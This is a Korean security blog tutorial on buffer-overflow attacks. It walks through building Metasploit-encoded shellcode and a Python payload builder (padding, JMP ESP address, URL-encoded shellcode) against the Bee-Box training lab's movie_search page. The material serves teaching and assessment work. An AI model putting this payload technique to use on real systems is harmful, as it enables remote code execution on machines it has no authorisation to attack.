테스트 방법을 말하기에 앞서 각 취약점 확인 방법이 아닌 취약점을 활용한 공격에 중점을 두고 있습니다.
기준
KISA에서 발표하고 있는 '주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세 가이드'입니다.
(※'주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세 가이드'를 '주통가이드'로 부르겠습니다.※)
주통가이드의 1. 버퍼 오버플로우의 개요, 점검대상 및 판단기준, 점검 및 조치 사례가 나와있는데 가이드에서 다루는 점검 방법은 아주 간단하게 적혀있으며 오버플로우의 방법은 "대량의 문자 열을 입력"하는 것으로 적혀있습니다.
하지만 공격입장에서 생각할 경우 대량의 문자열을 넣는 것은 공격자가 명령어를 실행시키는 것이 아닌 Dos 공격에 가까우며 실제로 위협이 되는가에 대해서는 생각하기 어렵습니다.
버퍼 오버플로우(BOF)는 데이터 삽입 시 데이터가 버퍼 내 작성되는 동안 공격자에 의해 버퍼의 영역을 벗어나 공격자가 원하는 코드를 실행할 수 있는 취약점이므로 매우 위험한 취약점입니다.
이와 관련하여 대량의 문자열을 삽입하는 것이 아닌 공격하는 방법에 관해 작성해보려 합니다.
공격 방법
방법은 여러가지가 있겠지만 메타스플로잇을 이용해서 진행해보겠습니다.
(공격 환경 :Bee-Box)
Bee-Box 설치 방법 : https://securityspecialist.tistory.com/112
아이디 / 비밀번호는 bee / bug입니다.
위에 보면 HINT에 \x90*354 + \x8f\x92\x04\x08 + [payload]를 확인할 수 있을 것입니다.
해석을 해보면 "[NOP]*354 + JMP ESP + [payload]"로 nop코드 354개와 리턴 포인트 다음에 페이로드가 실행된다는 얘기를 하고 있습니다.
소스 내에 파일의 주소가 있으므로 파일의 소스를 확인해봅시다.
소스 중 app/movie_search를 확인할 수 있는데 여기에서 shell실행이 가능할 것으로 보이며 title를 통해 입력할 수 있을 것 같습니다.
위에서 확인한 힌트처럼 354개의 NOP을 사용하는 경우는 NOP이 삽입 시에 블랭크로 들어가고 1개를 차지하므로 들어간 것입니다.
하지만 다른 코드를 활용하여 작성 가능하기도 합니다.
위의 업데이트 방법을 참고하여 진행해 주셔도 괜찮습니다.
이제부터 확인한 정보를 근거로 ShellCode를 작성합니다.
모듈을 사용하여 shell명령어를 기계어로 뽑아내줍니다.
-b '\x00' 은 Bad Character는 \x00으로 이것은 넣지 말라는 옵션입니다.
generate -b '\x00' -e x86/opt_sub -f raw -o /tmp/rokefoke.txt
위 명령어는 작성한 쉘 코드를 기계어로 변환하여 rokefoke.txt에 저장하라는 명령어입니다.
저장 후 txt 파일을 확인하면 위와 같이 읽기 어려운 글을 볼 수 있습니다.
{ echo -n \'; cat rokefoke.txt; echo -n \'; } | perl -pe's/(.)/sprintf("%%%02X", ord($1))/seg'
위의 명령어로 ASCII 코드 16진수로 변환합니다.
dummy = '%41' * 354
jmpesp = '%8f%92%04%08'
shellcode = '%27%54%58%2D%DD%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%23%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%01%8B%E1%D9%2D%01%01%01%01%2D%01%01%01%01%50%2D%EB%0D%42%05%2D%01%01%01%01%2D%01%01%01%01%50%2D%FE%40%FE%08%2D%01%01%01%01%2D%01%01%01%01%50%2D%72%1E%CA%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%AC%15%50%5F%2D%01%01%01%01%2D%01%01%01%01%50%2D%E7%77%85%1A%2D%01%01%01%01%2D%01%01%01%01%50%2D%67%04%58%7F%2D%01%01%01%01%2D%01%01%01%01%50%2D%96%36%BA%F7%2D%01%01%01%01%2D%01%01%01%01%50%2D%39%CA%E7%7E%2D%01%01%01%01%2D%01%01%01%01%50%2D%92%0E%21%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%07%E6%58%0E%2D%01%01%01%01%2D%01%01%01%01%50%27'
payload = shellcode[:3] + dummy + jmpesp + shellcode [3:]
print(payload)
위의 코드는 더미 코드를 삽입하여 작성하는 파이썬 코드입니다.
dummy는 힌트에서 [NOP]값을 354개 넣는 부분을 말하고 있으며 jmpesp는 RET값 즉 반환 주소입니다.
(※NOP을 넣지 않은 것은 지금은 거의 사용하고 있지 않기 때문입니다. %41 = a※)
이 뒤에 쉘 코드를 실행하는 payload를 집어넣은 것입니다.
또한 :3과 3:로 앞과 뒤의 코드를 먼저와 뒤에 넣어주었는데 이것은 %27로 '<-----이것입니다.
이를 실행하면 위와 같이 더미 코드가 포함된 코드가 완성됩니다.
위와 같이 처음 확인했던 파라미터 값에 완성된 더미 코드를 삽입시켜 줍니다.
그럼 오버플로우 되어 실행되는 것을 확인할 수 있습니다.
'Web' 카테고리의 다른 글
SSI 인젝션 (주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세가이드) (0) | 2022.03.02 |
---|---|
SQL 인젝션 (주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세가이드) (0) | 2022.02.23 |
운영체제 명령 실행(Remote Command Execution) (주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세가이드) (0) | 2022.02.23 |
LDAP 인젝션 (주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세가이드) (0) | 2022.02.22 |
포맷 스트링 (주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세가이드) (0) | 2022.02.22 |